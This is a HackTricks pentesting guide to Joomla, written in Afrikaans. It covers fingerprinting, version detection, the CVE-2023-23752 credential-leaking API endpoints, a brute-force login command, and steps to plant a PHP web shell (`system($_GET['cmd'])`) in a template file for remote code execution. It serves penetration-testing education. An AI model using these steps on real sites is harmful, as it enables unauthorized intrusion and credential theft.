hacktricks/network-services-pentesting/pentesting-web/joomla.md

110 lines
4.6 KiB
Markdown

# Joomla
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### Joomla Statistiek
Joomla versamel sekere anonieme [gebruikstatistieke](https://developer.joomla.org/about/stats.html) soos die uiteensetting van Joomla, PHP en databasisweergawes en bedienersisteme wat op Joomla-installasies gebruik word. Hierdie data kan ondervra word via hul openbare [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Opsomming
### Ontdekking/Voetspoor
* Kontroleer die **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Weergawe
* In **/administrator/manifests/files/joomla.xml** kan jy die weergawe sien.
* In **/language/en-GB/en-GB.xml** kan jy die weergawe van Joomla kry.
* In **plugins/system/cache/cache.xml** kan jy 'n benaderende weergawe sien.
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In [**80,443 - Pentesting Web Metodologie** is 'n afdeling oor CMS-skandeerders](./#cms-skanners) wat Joomla kan skandeer.
### API Ongeagte Geen-gemagtigde Inligting Uitlek:
Weergawes vanaf 4.0.0 tot 4.2.7 is vatbaar vir Ongeagte inligting uitlek (CVE-2023-23752) wat kredite en ander inligting sal dump.
* Gebruikers: `http://<host>/api/v1/users?public=true`
* Konfigurasie-lêer: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby-skrip: [51334](https://www.exploit-db.com/exploits/51334)
### Brute-Force
Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om die aanmelding met geweld te probeer.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
```
## RCE
As jy daarin slaag om **admin-kredensiale** te kry, kan jy **RCE binne-in dit** kry deur 'n snipper van **PHP-kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon aan te pas**.
1. **Klik** op **`Templates`** aan die onderkant links onder `Configuration` om die sjabloonmenu op te roep.
2. **Klik** op 'n **sjabloonnaam**. Laat ons **`protostar`** kies onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
3. Laastens kan jy op 'n bladsy klik om die **bladsybron** op te roep. Laat ons die **`error.php`** bladsy kies. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
1. **`system($_GET['cmd']);`**
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`